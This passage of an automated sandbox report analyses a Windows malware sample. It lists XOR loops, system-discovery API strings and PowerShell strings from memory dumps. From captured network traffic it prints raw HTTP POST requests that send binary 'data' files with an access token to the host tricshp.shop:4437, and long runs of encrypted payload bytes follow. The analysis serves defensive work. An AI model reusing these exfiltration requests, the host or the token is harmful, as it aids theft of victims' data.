loop in file "sample.bin" at offset 2609385; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2611547; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2633977; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2654104; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2795789; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2796485; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2797126; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2807505; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3180724; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3345440; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3386984; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3428903; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3431015; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3586975; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3607015; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3760107; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3984376; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4039040; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4264120; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4367700; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4489516; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4700924; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4839940; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4851848; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4886424; code bytes = 803044:T474,file/memory contains long string with (Indicator: "GetCommandLine"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") Found string "syscall.GetCommandLine" (Indicator: "GetCommandLine"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") Found string "syscall.procGetCommandLineW" (Indicator: "GetCommandLine"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00007836-00000C2B-1242925323") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00007836-00000C2B-1246362493") file/memory contains long string with (Indicator: "GetCommandLine"; Source: "00000000-00006104.00000002.147425.C9D88000.00000002.mdmp") Found string "syscall.GetCommandLine" (Indicator: "GetCommandLine"; Source: "00000000-00006104.00000002.147425.C9D88000.00000002.mdmp, 00000000-00006104.00000002.147425.C9EF2000.00000002.mdmp") Found string "syscall.procGetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00006104.00000002.147425.C9EF2000.00000002.mdmp")45:T687,Found system information discovery API: "GetEnvironmentStringsW" in file "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin" Found system information discovery API: "GetSystemInfo" in file "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin" Found system information discovery API: "GetEnvironmentStrings (in long string)" in file "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin" Found system information discovery API: "ExpandEnvironmentStrings (in long string)" in file "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin" Found system information discovery API: "RtlNtStatusToDosError (in long string)" in file "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin" Found system information discovery API: "internal/syscall/windows.procRtlNtStatusToDosErrorNoTeb" in file "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin" Found system information discovery API: "syscall.GetEnvironmentStrings" in file "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin" Found system information discovery API: "syscall.procGetEnvironmentStringsW" in file "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin" Found system information discovery API: "internal/syscall/windows.procRtlNtStatusToDosErrorNoTeb" in "00000000-00006104.00000002.147425.C9EF2000.00000002.mdmp" Found system information discovery API: "ExpandEnvironmentStringsW" in "00000000-00007864.00000000.144909.67A4A000.00000002.mdmp" Found system information discovery API: "RtlNtStatusToDosError" in "00000000-00007864.00000000.144909.91822000.00000002.mdmp"46:T2057," pairse used instead of the HostName parameter in the Send-MailMessage cmd" (Indicator: "Send-MailMessage"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "Join-Path" (Indicator: "Join-Path"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "Always resolve file paths using Resolve-Path -Relative." (Indicator: "Resolve-Path"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet.ater than $ConfirmPreference. If $ConfirmPreference is None, actions will only be confirmed when Confirm is specified." (Indicator: "Send-MailMessage"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet." (Indicator: "Send-MailMessage"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "Resolve-Path" (Indicator: "Resolve-Path"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "Write-Output" (Indicator: "Write-Output"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "Show-Command" (Indicator: "Show-Command"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "Trace-Command" (Indicator: "Trace-Command"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "Pop-Location" (Indicator: "Pop-Location"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "Push-Location" (Indicator: "Push-Location"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "Select-String" (Indicator: "Select-String"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "Test-ModuleManifest" (Indicator: "Test-ModuleManifest"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "Enter-PSHostProcess" (Indicator: "Enter-PSHostProcess"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "Exit-PSHostProcess" (Indicator: "Exit-PSHostProcess"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "Save-Help" (Indicator: "Save-Help"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "New-Object System.Version -ArgumentList @(" (Indicator: "New-Object"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "new-object datetime @([int]$matches[1], [int]$matches[2], [int]$matches[3])" (Indicator: "New-Object"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "$argumentsBuilder = new-object System.Text.StringBuilder" (Indicator: "New-Object"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "$private:sd = new-object System.Security.AccessControl.CommonSecurityDescriptor $false,$false,$this.SecurityDescriptorSddl" (Indicator: "New-Object"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string ",(new-object Microsoft.Powershell.Commands.EnhancedKeyUsageProperty -argumentlist $this).EnhancedKeyUsageList;" (Indicator: "New-Object"; Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp")58:T8ca,"Ítºª|!k¾_ÚÄÈ¤¥þÃÌõ'-Þ±Gmu*þU²PJDÁì£é·ÿ¼¦£u>å©}s¶XµqÔ¾hX*¨Ò\|B«HÎ®¬=®má§'I&0¾#àþÝ]ÊÚåtÖ0Ì?Æ>pÌ<Õ¡®[Ò¤rzmÆÂ8¾ù6VÊ;hu;(-ô1oRó\?þxnOxÖàuLÎcÕ|9åzÂ=Ã.ùjÑ1ÆBõój÷&ám}í*Ä³eØ¡DXÖ`!øh]Wq4HÅé¥¡6½ú©=á-µÖ)"÷iLÔúÈÜ)ü'ó#d³Þûk~^Ö&/~»q~](=eoGfÕoÑÃ³td&±¥Jê²ê3ÌÍòÎ3w=TúKcÑúìåhaÇH2ÚQ¿¢ÓmgAkN@QÜ*dK.Gâçî}þ¥½÷äµ¦b;PÖW!b@³|ZÌaî|D¤²÷ó¹a!as3¿@ÚH&[ITTrk§Ú_`XN:õ¯"õèÛY³>ýkEÙj,F6OÀòLzj--5T7q9HmseJ95uPwow--"; File: "PCAP"), Found string "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=uTZND816g5yHo5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1127Host: tricshp.shop:4437--uTZND816g5yHo5Content-Disposition: form-data; name="access_token"f272812e-3e0b-4e69-95fe-8b0b344eecc1--uTZND816g5yHo5Content-Disposition: form-data; name="type"0--uTZND816g5yHo5Content-Disposition: form-data; name="file"; filename="data"Content-Type: application/octet-stream1vù$DÄ$ºmÖ¸7A`C[°+ Àß·?7«kV¤Öû7ê¾Xæûdy±Zã³¶Mæ+¤Ú_ñäT©ÕÃPCGäª)NÙ7¼Ù{PIúöH:£Ãæ®Æy·XLN0ï+ çíTME"0©y¢ÖB¥>n cXSÝ®ØEÏ¡h(ö¬êOµOWÈóÃv9ñ]vf_ädÈÅ"4«bNý\ØDQ+ Ö¦rÎ(µ 9ò$é¸F(å¤WNæ_?ßúBøÎÓjü÷,fýr7Ý\@ÿö¿²'K p¡úÍ>:7Íi)$/k©ó_\¡³&NÉ\´¡nåð®æt6³ÏK·>$~gËm^1FØ´Ï¹ô'N`dÎ=ÿôÊù¸ÎÆ7;,ÓÕ`ªá§njüîïLb7!3W»³êoÃWõïÌÔí}hR [úÇcÉ#AÛ¿ sÅ¸®¾X Ü¤«±X¦F¨qx*e³n$iý`î]I³3H$õu3¸ròÒ*¢nxæ\UÚ}3¡9k·544½;?¿D>X!&Ò÷ìñb|q1V´ÓE6n&ÂÀ8@d;äêè©¹!JÕ×`zJì[É>zFJÛÇon¼ø®|NÎÂà~eêãÄv+Æ÷$5ó¶!gH$]v0¯/¼ÖÑOµù3c¶ar½5+øïéÒ?AXÛ×'íÑÆÅ'õÖÜw6¯ô8"ÏDÛwõÂ³De1¦vø%÷cèæÎ¯JQ~y-ìë£z±nÅöswjtª?"e[æíÙY»f÷d7LÉV¶ÐHO-¢¿©`¾÷Å§N\'ÕQÄF2ÿ-)Å·ü?\Ò$xYÌÓ49Këb;FÉÔuk´ºjùvO¥KOBD¬Xõ>ìÑ¨)Roïöx»zY--uTZND816g5yHo5--"; File: "PCAP"), Found string "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=6HZ8T49gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 791393Host: tricshp.shop:4437--6HZ8T49gContent-Disposition: form-data; name="access_token"f272812e-3e0b-4e69-95fe-8b0b344eecc1--6HZ8T49gContent-Disposition: form-data; name="type"0--6HZ8T49gContent-Disposition: form-data; name="file"; filename="data"Content-Type: application/octet-streame)ªÐMCCàÂ¹I]FMSÐ&ÅWSÑ¿¦ÈÞKì¬!¹Í_8õº(jþ¤·d°*á"Ë7èÀh{ØVnçÍ¢ÙæW8LÆßw÷òßÛºÂ7²ªRÝ@ÐG|¶Ð?ucÏ¡»=xVæ@2YÀ]"S^f=OÊ~#&¹rY`QkýÄtWßä½îôKdqvªÜÑ2Õ»_8.0]Tü!§ÀW`yÒº;`÷÷o$Åzö©±;Éùo¤Z<¹|zä+âÈ»:©Õþ´Ä:Û+ÐB¨¬½CÒe{ú©å;gjÎlõ8ò§9ÿèæmö6B¤2µ8æ½ß&)¹ËëÖBYïÑßQ _ªJì¤^º£q!èÊ3Ê×å!ìÐ²ÿ}â6ïdØÇ@¾¡óTÉÇ+Y'°¡øÄ$ö0Hpm}+õ:,÷yÆÓ#PBI_®:ý¹=WIP®ÙQ+×i=#ÞîéØÍËqUïç_&àÔ>9i;CÅìd¢ Hp[²³¢ÿ(?¦¿?6¹Q §Ûi¿ÃÛ"èz8ºº,ºá¥Ü*"}ÏnâèÎ¯Ùê':qæäÐû¯¶\G%S ¡äYSË3XF wNfngï)ÿ^ùX3F¬ÓËÈâ_Ntö+ãö£=¿'îH¸pl£}JÄBl»½kÑÇS¸Òý9":«~èç¯Å=«Jæþi4éwU¨#¯Nqã5÷7'm¼>hA¨Õù`j¿«m_>HÕU¥'VgmÒÃÛÁ{ÞÁ¼%£A¥²~n(fõYèëù=*¹¢²J3Roo¡«¹/¦àvVÇÝgÖfhÏçRèn,Tëåh²*YÞdhI£¢-åú6ÆÅYÊ¶® qcè^àøõû>ÅpÛ£BßèMS^TÍ¢6·ÇòXðßß °ïjbr|©@£ìïcuÆlè·ñåBÝÃ5FCõÞxOG¤;ôd;V\þFo7jÎÿ£îxZ)öÁãZ¤]ÊYÁ·¡Éf¦¹xÐVÓjJùÞijÎ-ÚêÙ0ý>F1ïðë92Ì_ðCjØEúCR©0î¾»4×a(ûA,ìÿdÎ×³Ç¤Tês+ýÞôbökÅè]?ôOtÊhYíÕ+¹û¯Þ¶lõW:(yÅ)ëUØ4±?ÍeV}[¦n$óG'ô© È6!'3HWN*^÷3À^Xúù0-KãnV5Ü+Gå½;FMø±'4ªVHOñgòu[õÎBòb÷±¢6oS¡ú.0ûô$ã8o¨òÜü~²Êµ§óS÷i_¡_!"pyê§²¦yE9¿_3A÷_8½yü.û -E]9&/y®kùæ÷ëó!µ¹c@®¸Zä¾òê4F ¥ÃhöÕIk°®zÈYµÝï+3Åa3ß÷k÷òk,¬»D_¥=É¸üblîxHÊüig98ü^ãýbM>6~91þ¾2ÝÇß$cÝÎñ$BAC{èÆ=a][Æ40¹CãÊÞgê5Ù>w5d¥Ë4ÄÏQÆÀÔ¼o-Â;_î¬é5PªZn¶§ã¡y_OÔyË"wn×ry&¢sB£²::±t¦ «±4Ã¸ÍÓG¿)æ]°ªbÅìöÝÂÃ9O|kÒïü°:¥Âôàñ¯áÍ·2×Q«Édy¢êR:Áèký6T,·a¼¾²°h».tä%gø)Ê¼Û6C^É·d9.T!wiÇý¿A"©äz;òfÃêSåjÑùS*2¾-*©$Ì«ÌE§È7|ÐîË?`_ØæõKoTàYÝy¡M9äP)`=S¦èX%Ï]1£<í$ýWx½ÜQ\>O¹Ïè-×;9))8/)¼êÝYe¿àå¦¿-ÅÅdÎÜ²eN_ò]SP|XµÏÈfÑü>JÃ`ùÕA8¢)¦èaºÉbçùpê*lÏ?¿Æ§¸¹rVYá£ÅQáG©/#¬F9ö×zÓë{V×ïvÞqà`À.¨î}×ûô~îSFÁÃmm¼:ÃÁÜ&7IÕý\õtsBÞ0÷·^R9¼½0ª@g¥ÚÎË¾[9÷8X;qÎå§©Àõ~&9Ò:Zr¹¼WKÅøøôaiEÇKÐa&µÁ\7|í²5PpBÑÒúZyì)VÄX};ï½÷âèÝYqÁ¦ #<ÿi/Qò×bRxqâE7Wò¹ïu¼"-zë$ÁFVrÏ]Þ=rÁ ¿ª¿#)Øûy£ÿÒ¸CÚJe/ñÎ"¡Á/Cúàmÿì8Ë7Çw¬ý¹Ð³À$×wÐ°â±ÿÉñOz*ªÄX«fºÈ'û#:Ë>å_\¾7w½)¢Iq57§àH6Aß4Uæv1|7ùKê{ÃÂHíäbøX_õTdmúÇH 8+ìÚ×8-Á(cx¹]TbÎVàT¯?ØÁëàí=ò\Îz§¼Ðd¾Oø:ÔSø±0»Ì® },W!(ýn6ùÊD³ØAcÉdõw@êÂè¯»·¦§Z®ýÖ@÷E~i¬¤V5ÍÏ2Ê¬+øPij½j:ò S'A]ÇÝ.ï´³¯'©¤ÒÒä"pa*Ê½oM)Àfÿº¡Â¥l(¨ 1Æäuln¬JälÈ¼¤T_Ú( ÃC2vÆms¿A¤È_ÞåÆI°Àc÷îÆ@0Z¬`½ZÎ{,'SWRéñþªºhÝ`i[/@}6àþHº½ÕÛ;UÌO¦9ÇwlNahéÖêQÄ%?°_¶£Ã%$3j Q7bxì üÈà±×ÿl4\MocÇ¼ig4rxl?hÙ{µ<¯1ó?´]GKÓPXßà/hÿ¶¹{iÜ\©ÍK¤ÒÐÿÐáBÇl|ÏDòÛü8ÍG* ËXs¾+ áº5A³¢Prò5¯x+X@³UBw¢<åM¡Ápç¶Ö6úýD4vTÆÌ*näeJ5'Ì4Pµj$lþ"Ëk¦êyíáÒ^¯ö®¯ãu·ØH!Ùq¢Al]å\"±Ñ*>O-#K~j¨µBSkp;º¶Eni«õ5#è_KÌUÉôDê9Ã £:2f+¢.:§ãq¦õõ_ºÅæ7£ºT2T"B¬E!n?gùbØ³³eåÍ!"wît-6äØ~ZôêD~x~ÃkTx¤áVÙÃ¦BIb¿/ëacª"íÜã$5îf÷åÉx=Û¥fTµ0¾¢Rk®¨I@¢¨¦Þ±8bî¢,ï£ÓÚøó9¬¥Ò®åÿØ¬Ù¾ãrèdsëÓõÞK?'n§ð2×0xMÑÌl~" ¡9/Ö}ÚGÀ+VnÜ²EÒ]Nõ¨%õÀuj1ÍýHØÅ~¾q±Ðæªÿ"é½ÁØrlUÌ`ÀÍìN|ta|.Õ¾3BÂ®Þ±ÆÇ'NÅ´»Ð±$T$ÖØ)o2(A§óQ·²Úý&DiTmx¼Áì/ñ tÔÞµJûTD)êùxû ßÄ³¾ÁÐÏ~A4ná-Î÷E!,¼¹M¦ËAñòÌçPÓ»pù¦ù£¼+ÿÝÐê^Q*jlÌ¸+;lçDìq¢´K·áÐw|°ùr]"ðn4åBm6È¢>éIÁu¾ë¥.Òc®«Kü§a²D×ýÉ;ê,-*ëF¾7ï¿ý$(Ù³#SgÕ#\ÈqqEEDv¥¡tnþJ]râã9²ÀË!áÞ7fþåòGÄóùÝêÙ!wëþ´±óìBø,$#é7ûôP¯´Ú¾DÁìÃtJ1!Dâ¶9IsýG=?Ç<`³U^ñî@¸apS~üupJR_?ÄCîÏ?I¬?E/0`´HâÖ¬éÝ ªiNô£Æú~Ï|ã5¶æs\|Daf¶¬ôº]ï¦ßÃIW^$®1vCXB}ðR,;®,[NrAÈ£ÅxgÌ.ÕXí[^/L3¢ Ú«/e Oè'¦.Ð=ûCZpçSöë±#bAl~ÌÎÆwÝ×è¥SÊU´î[züüÌ2Àÿ4©Æx`u)|°ÂÛVæ×Æ¨éL¸¶!±'³(é)J»«¸Õ%rd§óq>#(kB-Dñó?úHï'¼ªÀxÜ§±ê@!ý-¹V2ì ñRÝµTÐ¡ñQZ-ØÏ¿Æ¬6Ò°ÉÆ7¯xà¾ÝOéé×?)Þ9|Ëñî.eæ@CöÊC§þê6¦U= J°õSþ½k&Øèß¯SKaµÐ~6"Èqô*Æ$µä*ê^2ßæF'Òñ¡jLõ#Xf`´»*zàÈ¬ IÓäá1è¹HÛî.Î²÷{¬ÕTÒÉô'XSÉÆÏBÌRßsr/6+ÕßCXÕåîñü-PÁ?<³@HæI/ÞÇ©¤ÈM>)µÔÛ3tu×ìt¤´¼CÈ^Z\#ã«9.Ñ[w¢RÊ®ü;-Æ`-ÄúÉ~õx°K$KYB£wò%éÉ¿S%Â¼WL9ÆªSu½ÓíÞycuúÅÂ*S[«A«c&fÕ"ÄH¶Èã ÌßÖ Zï®màÎÎ¬.áM7²]<8+ÞÞ©#LÈ3yHXn½~ÕO}M¦!r-3J±»|@ýfÅ©úÎ½ÇqîîMOuõoø¯îkí±uíäjÃ"¨ÝxÊyK5dÄ»N[Ù#¬'+âÄlBâPÄÛ>'@ûúbÖHÈNb×éÌ¦¾dÚP$,. mgíÇoÞËk$9×P'ø½yÃÍÛã®ÓóÅZdÐX=6Y8@£.$kÓ Ôi#«JÎ`d£íç¼¡[Ò¡ù¥Ý*P\^Â= ú¿ÚËÑyAÊUéäÐ½rE¬Wu_~(:P$æþYUðî^©Z83°º`ÐÃ§7¯Å^)ÁÛ`Ë¸ø2dVKà´§l g.ÈýtÈrs0iBÉæzÄû£F£þoI+8¼en»aaë\¶ÖA¾Ë÷ ÆLRflf2ô³f²°V]g~t:WCCD¿i¸ð.à%x\j¹È$¨Û[w>3çÉjk*Kg{I¬ð¾0J§¨QV!ÔÇóèã|µÜ]Ç\T(7÷]@;nÅq¼AÝ¤,××ÃÈC):Ç½÷äe=çIÇ©·¬ÝHoæ¦u©qñP#¦õK3¨¥`&üÈHA«ÆU]Mã#»5'xÌ¼DBÅ¿¼o±,¸õ9ïqf6òlPaÏ*À!lê1Øe¤½UA:Úñ´!áÓ¨búa?rØ°ÿý«$®õ?úOz]ôN"ò¼/ùþLY^ªc}:-'5~dÀ!`Ç:þ¥O'a©ÕÛµiöh^¬¯¦8HûÃìOËNåp¡`ñP¬c¤aþ²Â'NÖýõò÷²$Öa@ÙJÀ_±±¦=yÿÁÌýpéJ@¸Jv#\.úâWÕï.NúTPAÇùùX06J·Crý«yUÖÈ®UÖVc+©vú,:õkü_I?ÓPú&$ÃâÕ)Íú[ÅúßUB%¿Çë*}uÎ±=£%1Lðç¬7¥ÂÌ&ÖÙã)¤»ØÕãÒ¢ P(5?IÆ®&@T¥jÍ´çEur$3gqR³¼¾ÑV®5c"®{4ãZ0Äa¦ëk,¢Å¹ÞÕGêIÆgw#6¡Ly¡ª[Èô4=çìS=9cizÙN§YOè]fÍÄÃ¸À¸}X>}²kÑ;ÐøÞÚx¥z,#ÛÅoÈ_Ug4F®°ºèMØv¹iûéZõìLÕfóÒì9DQíðâÆx´T(Lñ/àø¥+¨-ç'ÿe}(WÏð÷I4"Âu~,ãôÁÎuAHÊYîGO=mÚ'1ÃyÐQE¨$ºrï`ì´?>)£ jªÛH/6Is´ÕÂPðaÏ&OBËsöM¿Ê£½£0AqÎBÉx+¬Ùçà"¡UcÒ6æløÁ¸Û(æéX¡½éï;:Å&¥é))Å'#N>hwób9ÓGPæBs¡2Ì\W±\ÑhHB§täøÖ]PJEmÏ³¿,îeòv±Ç~¢íÄüO£óS¢h.J·Ð·ECÉ¶ô+=ZÌs®g]¦bÒEPFcúÛþí¸KÙB¸Êîz+µÐÀÓsbÔ¯0ûÃ¡¨S+çRÇV¿ZóRÆv)9áÁ¦.ú°Rx²\ÄØøì.Ú`p¤ô«ÿ ìs["&ZÑä//·½V\°_D#¯²þþWhÀ~rå·f`úë(À´V0í%ä«r]ÈêeÚ|ïá·5ªÏ«C¦:H¸¼g¬â¹ÿ`t§,$¬"NJÜzÁÉÂÁ7¾2°»®Ýlå-gÍ$Ø¡¹¦&ù8ñßNGp/ç\CÙÝd;gðÆpPú'c/ÿ$ýñVRÉi$³¾§ÑL}m"q½_ì?4¨W('TL¢¿rå4hæg½+¡ßS7nìÍ3Zÿ«ÂÎüô"¨3ßì»± ßå8âªåe¡±£7¥C 1æC¬(áÀT3ôßC¶°2ÓæBK-Íº4o]&¿ÇÌ¤¥H®¶ýr¾:Ü¥ÉvoäsñÂYQÁ°ÿ=ªa&´]úAGÛH}$eRÃé%úNÍÞ#yµ[.e0 Þ&ÇS¾i#C¶n0K®KÑ|êÝûô¹ÅX¯üÂÝºdjIöi&^è§Í=*·¯5$N²ã·`oÖ MaSHßÑßA\ë+ðÁ1U}¾ñ²±µÁ÷à»ÇÊ£ý?¨r`ÃZ»h{ô^ë2O,,éë¨Û*µ1\êÀr¯¢©:aÌÑç=rMË¶|½¿ÇE·ñy¯)Ú¾hr"OhÎåg»MLª×sl¤º"oÅ@-éré=G¿G`xÂ;înR(õ~¯\zÃe-'¿Ú·fÞ>,©X}rñ®ËzCl-Û8't£Â!$]Ëÿ!ü'kC²LÕûÛróÍñËüåÛM¨ÐýR^µaö.`$£HÜc´Ë]K¨G@Üp|6~ì×FûØ 0t»ðÿ.zñÅ20ê7¹ÎI½k°îD'£zÖá'Ø./ÁÍÛKBëÃË-bÚSkhYß#Áh}ày3¡LºÑDDùÞÔr³äÑ®ù£çeê:ÍýCµÙ¼æí1 ¡)ÛUGc 0d½ÉõÊâÊõ2ñîoaµÎP³ùs8wÐí=Û²W½&Ï~õl~z¢ÎØhzù*\Vr×_µP¦VÄ¦Á^ºò¡òìyêêäÅÞÙéãdhê@ó_ÎúÌËu®°gÜü9®6fç¢gã<Çï@G{n®7vðÕhG1Á~|L³·³`$»¤bÇhÅü°#®O£o¼½¥.÷O'ÏñGßÕªÒ6²uÏ¥têJåíàXNA¤"_9RË8åF>1ûRû\*®µRi«æBrÉDgçö©ß´eHmï¨/é´-¬kð\¨})èôàø%=ÂH3RAÎ©´k¾Ð~ngÕ¸]VwPï§GF¾ÆI&OD}«cØRÉý]µÎµÎÉëÎÇB%¿Õöé~ùlÈH,j»àz!³}$iQrÝ0[:÷~þýÈKÂÝ{ÓÐ+¤½àNÓA³ùR°QQ&ª^ª8jòÞÈS?Ê,úYðæ«y~©)sËp+´^|ÓNñ¿ÃiûÍ"Dþ-iÀ__ÈÕO½7²à#»²5®¡qªuáé3íÖ¸.8ÅóJµÈ½s±¨¹îp~5Ôï_cìÂü¢Ý f)Xgd·?.t¹9$Ze!õfBbüõÞ{Ö9ÑqÊ-UÑ®GÅÛÓÉLºËÙYäÖöVá>fÜïh_²;c<2õ¥mo1××Æ:HÁd #ªgðù)üPÌÛäÎ@H¬íÕ¼½3&³Ã6]B(¶Ê¬½Å>£goÙ`úqlî²y§ý¸GÑ&IPXÓ¬} ¥0È¦ßÿQÕTîÓ¢G,ÀÅ\ùrÐõ©Ûåñ´`ÊMCõÛ.Ô¶¦líkÓ¡¦WV~o.a´FtW×%ÓÔl®£Ý¶ÜÂáÕMS([ÅoäéZP3'Ø|ï'Çº?&2ïÈÂ®w©Zà/HÇ(Ù_iA<Å×<Ã²ñ?HýrÃôÄ¸N#n½/íÀî#0~Å±jzU)ÌíÃHÚÊjâRí)à{ûÞô$ð]88j\×«¬ÿþëo)PÈ'ÌÕ/$\ç÷ýËìñú/>ýÝ¾uÃ:§#ùÍJ0KÙêßÁ+Ð¼>Í³Îò9Ão¿ÿºÆìÅù¢^ôD.+T#Á¡VEµaM=\ÕYB1ÛFñytÞýï<äà¡qÎ:é½ÆH#ÉS·-¥y*-bL²$¸Õ?&¦7ûu£"uTÚ"%úSV¬ÏuØ¬Ä_9iqÒg~ÓÙ*^¥F7ÇÝã¢T|OÅ1L4â÷ÀL$QÊ${@TbI§v:M!©7Ã±ÈRRU4(óôå#¨7X!ù3°öS[)Kþª#°ÿuF!,¤&Ó~E*°°e§Mÿ}²¯ø`pV7Ùø(nOêÙÚdÒÃá®±°·ìdÜ®7$«ñ´¦æL¤Ñ%8|*bé?rØû}»¨ÔôdÕfQöÿ_ÝT$ <^¢Ã5ìRçYÄ×XÖß5¿ywß¥jA³ïÝ`{ôÀª "QQÙBs×R`nüz7$ß3Q¼?yÊé>%¿C»zfs5q¹Å¼ÕòW6mM¦XÒi¹_±°ÒØæù«åxVXdÝdHMí~R¬ßÀ¹v`çjmút¸ëD0:%eî?¾Ëã#(Ñ<8n`Ý¹Ê_%Uò!^Ð%UôàûKE[Q0«/dåúéB'4p¥OÄxÞ%0*$ÃÔ7´zù@»i`ýLXAU^kùµL JXl-&BÙ¸÷¹]¿Ä mèÃ@Ù÷<ÎT¥¹û*ÔGÕ\eÁ:HSÅe7{`è2±HL*©Ô£R?=²Der±A<½Sëý>¥¦ù6®%p½@(¥Í/è)sÎ%`Nó9×ØáFJµ¾â\(FHLyõûB?½¹u}XîçÂÒêû©¾ÃeX3ºcô6ìÞPôë%¥NàFÊ1âôöl!²£íñÿF~!©Ú6íü#×ç¦Yd;Cê¯T@¸XÂ+3j~Ó%ØámsdÍB,ãµÈL¯Ê^¤ø>Ë`·xç¹iº>-è¸ ÖT²¤ßòUªW':U1-Jðê}ÏWÊPÒL¡4ól¬üèûíµê6LÝOJú ¨Oû1!-!Å¾Fò IÃôe/7Û^LóÝÉ> |ÒÄeÛ8ZcÙ"`:Ù}X8"pPÃâe2Àmrø@§sõtö¦vF ãD´ÁüúuÌ7Â<ýØ ²M%pÙòÀV?cÿKâ5ßã÷>½äD¨Ì_9â ù#ü§2ÎÊ!69wmûbrÓ\¯/(jÉPE½·~Lî~ühÖ©éYÄaçþàÑãUVeâq§n|xqW'mkèTN>}àØ×ß?Sû¶ø}9·¨´o$µÏY§ÿ÷ýÖ[ý:âB_ô[ïzÐje;°Sä4¿º@4±èhþ6@H`ªÞZCPÓKs¬¹uêì¬x¥k½i_v-`ú¼¹¯Ò<ã®©¹:\:I>fBÑÆ:³^w½n4)Ý¦§Pqé¥;ÄÎÝ¼X8L Èle8½7¤ÉËJdDãIu×]Y¡t(ÙK³IºæõÏ×îtnñËùYË(~ç*íÄçz>hìC«úEópk£1Ik¾xÌdóËpzú×7taØÙk*ÏÌCo&%ßYÿNÍ+pJ×ïwKù¸Z['ÅÁl¡¯ÚaáÚwø¹ã¥ÍþØ¾-*ir+8)rØúû½æ MWÜ \# B6°÷Ø°n'Úª.a@ AZÛ}É%Õcã«ù8÷}mÕvÆð?(F½.îáÌÄªRbÀ+¡^-KU£{ ¢Á)]¨'ú0ùc9æÊÈtty5tìÊÕéW}ÌEÞ{zc=\à¹â-&féîÆÄri¶¶å¹>³GÅ×{ Éw¡L}|Û¢ïR4ÆëU\XIm R»úª¹tÑt{ 4»½¸Öv±ííQÛº¬\z¾+5éëù¯¢±> áÎ²éI¥ïX>ÄÓndÎ 